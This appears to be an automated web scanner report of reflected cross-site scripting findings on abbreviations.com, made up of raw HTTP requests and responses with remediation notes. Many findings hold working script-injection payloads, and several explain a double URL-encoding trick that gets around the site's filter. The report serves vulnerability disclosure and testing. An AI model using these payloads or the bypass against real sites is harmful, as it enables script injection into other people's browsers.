GET /abbreviationsbaf28%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73b2621bbdb/ HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:32:57 GMT Connection: close Content-Length: 27284
.lst{background- ...[SNIP]... <meta name="keywords" content="What does abbreviationsbaf28"><script>alert(1)</script>73b2621bbdb stand for?, What does abbreviationsbaf28"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3533a%253cscript%253ealert%25281%2529%253c%252fscript%253e02ec5d2c02f was submitted in the REST URL parameter 1. This input was echoed as 3533a<script>alert(1)</script>02ec5d2c02f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbreviations3533a%253cscript%253ealert%25281%2529%253c%252fscript%253e02ec5d2c02f/ HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:35:33 GMT Connection: close Content-Length: 27211
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7370d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8f2cde6c5 was submitted in the REST URL parameter 1. This input was echoed as 7370d"><script>alert(1)</script>a8f2cde6c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /b1.aspx7370d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8f2cde6c5 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=1grciv55jtc043nj02tmceql; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 16:04:10 GMT Connection: close Content-Length: 27095
.lst{background- ...[SNIP]... <meta name="keywords" content="What does b1.aspx7370d"><script>alert(1)</script>a8f2cde6c5 stand for?, What does b1.aspx7370d"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload bbc7d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef3af19687e3 was submitted in the REST URL parameter 1. This input was echoed as bbc7d</title><script>alert(1)</script>f3af19687e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /b1.aspxbbc7d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef3af19687e3 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=oh2g2tf0l1wefs55qtaryc45; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 16:05:54 GMT Connection: close Content-Length: 27265
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 51536%253cscript%253ealert%25281%2529%253c%252fscript%253e7a00ceef170 was submitted in the REST URL parameter 1. This input was echoed as 51536<script>alert(1)</script>7a00ceef170 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /b1.aspx51536%253cscript%253ealert%25281%2529%253c%252fscript%253e7a00ceef170 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=iab1cy45uqfjxpv3302ggknn; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 16:05:11 GMT Connection: close Content-Length: 27034
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bb6c%2522%253balert%25281%2529%252f%252fd18bcda9b02 was submitted in the REST URL parameter 1. This input was echoed as 9bb6c";alert(1)//d18bcda9b02 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /b1.aspx9bb6c%2522%253balert%25281%2529%252f%252fd18bcda9b02 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=t3ixkyvszgc35h2wjylwru45; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 16:04:33 GMT Connection: close Content-Length: 26718
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85bcf%2522%253balert%25281%2529%252f%252f43b53048b7 was submitted in the REST URL parameter 1. This input was echoed as 85bcf";alert(1)//43b53048b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs.aspx85bcf%2522%253balert%25281%2529%252f%252f43b53048b7 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:26:25 GMT Connection: close Content-Length: 26690
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d1eeb%253cscript%253ealert%25281%2529%253c%252fscript%253e78129bb9875 was submitted in the REST URL parameter 1. This input was echoed as d1eeb<script>alert(1)</script>78129bb9875 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs.aspxd1eeb%253cscript%253ealert%25281%2529%253c%252fscript%253e78129bb9875 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:28:00 GMT Connection: close Content-Length: 27049
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ea5b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e305b24ff28e was submitted in the REST URL parameter 1. This input was echoed as 2ea5b"><script>alert(1)</script>305b24ff28e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs.aspx2ea5b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e305b24ff28e HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:25:24 GMT Connection: close Content-Length: 27088
.lst{background- ...[SNIP]... <meta name="keywords" content="What does bs.aspx2ea5b"><script>alert(1)</script>305b24ff28e stand for?, What does bs.aspx2ea5b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 8840d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9fb241ced95 was submitted in the REST URL parameter 1. This input was echoed as 8840d</title><script>alert(1)</script>9fb241ced95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs.aspx8840d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9fb241ced95 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:29:21 GMT Connection: close Content-Length: 27249
The value of the st request parameter is copied into the HTML document as text between TITLE tags. The payload 5fc81</title><script>alert(1)</script>fedac000817 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /bs.aspx?st=5fc81</title><script>alert(1)</script>fedac000817 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:18:48 GMT Connection: close Content-Length: 27095
The value of the st request parameter is copied into the HTML document as plain text between tags. The payload 60dff<script>alert(1)</script>065acfc4527 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /bs.aspx?st=60dff<script>alert(1)</script>065acfc4527 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:18:09 GMT Connection: close Content-Length: 26879
The value of the st request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb709"%3balert(1)//e93c20de0d6 was submitted in the st parameter. This input was echoed as eb709";alert(1)//e93c20de0d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bs.aspx?st=eb709"%3balert(1)//e93c20de0d6 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:17:38 GMT Connection: close Content-Length: 26509
The value of the st request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40cdf"><script>alert(1)</script>4bbb37d871e was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /bs.aspx?st=40cdf"><script>alert(1)</script>4bbb37d871e HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:17:13 GMT Connection: close Content-Length: 26899
.lst{background- ...[SNIP]... <meta name="keywords" content="What does 40cdf"><script>alert(1)</script>4bbb37d871e stand for?, What does 40cdf"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2de4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef2de11f4e6e was submitted in the REST URL parameter 1. This input was echoed as a2de4"><script>alert(1)</script>f2de11f4e6e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs2.aspxa2de4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef2de11f4e6e HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:27:43 GMT Connection: close Content-Length: 27149
.lst{background- ...[SNIP]... <meta name="keywords" content="What does bs2.aspxa2de4"><script>alert(1)</script>f2de11f4e6e stand for?, What does bs2.aspxa2de4"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d35d7%253cscript%253ealert%25281%2529%253c%252fscript%253ef5e8b18658e was submitted in the REST URL parameter 1. This input was echoed as d35d7<script>alert(1)</script>f5e8b18658e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs2.aspxd35d7%253cscript%253ealert%25281%2529%253c%252fscript%253ef5e8b18658e HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:31:36 GMT Connection: close Content-Length: 27076
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 20e54%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5cef4e545b4 was submitted in the REST URL parameter 1. This input was echoed as 20e54</title><script>alert(1)</script>5cef4e545b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs2.aspx20e54%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5cef4e545b4 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:33:43 GMT Connection: close Content-Length: 27292
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d88af%2522%253balert%25281%2529%252f%252f9d70bb0239 was submitted in the REST URL parameter 1. This input was echoed as d88af";alert(1)//9d70bb0239 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bs2.aspxd88af%2522%253balert%25281%2529%252f%252f9d70bb0239 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:30:14 GMT Connection: close Content-Length: 26683
The value of the st request parameter is copied into the HTML document as text between TITLE tags. The payload 41d8c</title><script>alert(1)</script>e632966bcd3 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bs2.aspx?st=41d8c</title><script>alert(1)</script>e632966bcd3 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:16:47 GMT Connection: close Content-Length: 26787
The value of the st request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87fa9"><script>alert(1)</script>04c67320817 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bs2.aspx?st=87fa9"><script>alert(1)</script>04c67320817 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:16:19 GMT Connection: close Content-Length: 26593
<html> <head> <style> .csb,.ss,#logo span,.play_icon,#tbp,.lsb,.mbi{background:#000055; no-repeat;ov ...[SNIP]... <meta name="keywords" content="What does 87fa9"><script>alert(1)</script>04c67320817 stand for?, What does 87fa9"> ...[SNIP]...
The value of the st request parameter is copied into the HTML document as plain text between tags. The payload a6ce2<script>alert(1)</script>eaf5fd2e670 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
